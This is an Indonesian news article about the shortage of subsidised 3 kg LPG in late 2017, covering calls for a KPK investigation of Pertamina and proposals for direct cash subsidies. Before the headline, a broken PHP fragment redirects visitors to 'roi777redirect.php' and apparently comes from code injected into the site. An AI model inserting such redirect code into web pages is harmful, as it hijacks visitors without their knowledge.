header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); DPR: KPK Harus Periksa Pertamina -
DPR: KPK Harus Periksa Pertamina

Gas Melon Langka

TRANSLAMPUNG.COM, JAKARTA – Kelangkaan gas elpiji 3 kg bersubsidi atau gas ‘melon’, kini terjadi hampir di setiap daerah. Terlebih lagi, kelangkaan ini sudah terjadi sejak satu bulan belakangan ini.

Anggota Komisi VI DPR RI Bambang Haryo Soekartono meminta Komisi Pemberantasan Korupsi (KPK) turun tangan, menginvestigasi celah kemungkinan ada tindak pidana korupsi dalam distribusi elpiji ini.

“Sudah harganya mahal, barangnya juga sulit didapat. Setelah didapat, isinya malah tidak sesuai dengan beratnya yang 3 kg. Ternyata, banyak sekali yang dimanipulasi,” ujarnya, dalam keterangan tertulis di Jakarta, Rabu (13/12).

Bambang mengaku kecewa melihat realitas kelangkaan elpiji 3 kg, terutama terhadap kinerja Pertamina yang bertanggung jawab atas kelangkaan ini. Masyarakat konsumen, baik rumah tangga maupun pedagang mengeluhkan kondisi ini.

“KPK harus memeriksa Pertamina sebagai penyuplai elpiji 3 kg. Saat ini, Pertamina belum menunjukkan profesionalisme sepanjang dipimpin Direktur Utamanya Elia Massa Manik,” katanya.

Menurutnya, kinerja bos Pertamina masih negatif. Hal ini membuktikan bahwa penunjukkan seseorang untuk mengisi jabatan Dirut Pertamina masih dipenuhi unsur like and dislike. Penunjukan atau pemilihan Dirut Pertamina tidak dilakukan dengan profesional.

“Kelangkaan elpiji 3 kg merupakan bukti ketidakprofesionalan direksinya. Kelangkaan ini juga menurunkan pertumbuhan ekonomi,” tegasnya.

Sebelumnya, gas elpiji 3 kilogram (Kg) bersubsidi di berbagai daerah mengalami kelangkaan. Bahkan di Jakarta, kelangkaan gas elpiji terjadi selama satu bulan.

Unit Manager Communication & Relations Pertamina Jawa Bagian Barat, Dian Hapsari Firasati, mengatakan persediaan gas elpiji yang menipis ini disebabkan tingginya permintaan saat libur panjang beberapa waktu lalu.

Menurutnya, banyak masyarakat yang memasak lebih banyak saat perayaan Maulid Nabi Muhammad SAW.

“Permintaan saat libur panjang kemarin memang mengalami peningkatan. Sepertinya karena libur panjang, banyak keluarga yang memasak lebih banyak dari biasanya atau karena ada kegiatan peringatan keagamaan,” ujar Dian di Jakarta, Selasa (5/12).

Di Bandarlampung, gas melon juga langka. Wali Kota Bandarlampung Herman HN meminta kepada seluruh agen gas elpiji di Kota Tapis Berseri, untuk menyalurkan gas elpiji 3 Kg secara maksimal.

Menurutnya, fenomena kelangkaan gas elpiji 3 Kg karena agen-agen nakal, yang sengaja memainkan harga pasar.

Herman HN menegaskan, para agen gas di Kota Bandarlampung agar menyalurkan gas bersubsidi kepada yang berhak.

“Saya minta jangan persulit rakyat. Salurkan sebagaimana mestinya. Jadi jangan disimpan-simpan, kalau ada ya dijual. Kalau langka, harga jadi bisa naik,” ujarnya, usai menghadiri Kampanye Anti Kekerasan Terhadap Perempuan, di halaman Fakultas Ilmu Sosial dan Ilmu Politik (Fisip), Universitas Lampung (Unila), Senin (11/12).

Terkait laporan tentang gas bersubsidi yang banyak digunakan oleh industri dan rumah makan, Herman HN tidak sepenuhnya membenarkan hal itu.

“Mungkin ada yang dipakai oleh rumah makan, tapi tidak banyak. Kita harus lihat juga rumah makannya, besar atau kecil,” kata dia.

Subsidi Langsung

Sebelumnya, DPR meminta pemerintah memberikan subsidi langsung ke masyarakat miskin. Nantinya, subsidi ini diberikan dalam bentuk Bantuan Langsung Tunai (BLT).

Wakil Ketua Komisi VII DPR RI Satya Widya Yudha mengatakan pemberian subsidi kepada barang dinilai tidak efektif. Dia mencontohkan, terjadinya kelangkaan gas elpiji beberapa waktu lalu bisa menjadi bukti subsidi barang tidak tepat sasaran.

“Dengan subsidi yang diberikan langsung kepada masyarakat, maka sudah tidak perlu lagi distribusi terbuka atau tertutup. Kita hanya fokus pada masyarakat yang membutuhkan agar tepat sasaran,” kata Satya usai acara HUT Pertamina ke-60 di Raffles Hotel, Jakarta, Selasa (12/12).

Dia menegaskan, pemerintah bisa meminta bantuan Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K). Menurutnya, pola distribusi tertutup yang diterapkan dalam elpiji subsidi juga tidak efektif.

“Hal ini akan lebih hemat bila dibandingkan dengan yang sekarang menggunakan pola distribusi tertutup yang tak kunjung selesai, pengawasannya sulit, dan mungkin akan dilaksanakan dua tahun lagi. Akibatnya, muncul kelangkaan elpiji,” tuturnya.

Dia menambahkan nantinya masyarakat miskin sesuai dengan data TNP2K akan mendapatkan kartu. Kartu ini bisa menjadi patokan pemerintah dalam memberikan BLT.

Lebih lanjut, Satya menjelaskan Pertamina juga harus menanggung beban jika subsidi elpiji membengkak. Saat ini, pihak Pertamina pun mengaku sudah nombok Rp 1 triliun untuk menambah kuota gas elpiji subsidi.

“Pertamina tidak mau rugi, sehingga menambah beban. Hal itu menurut saya kecerobohan pemerintahan,” jelasnya. (jpg/jef/rus)

News Reporter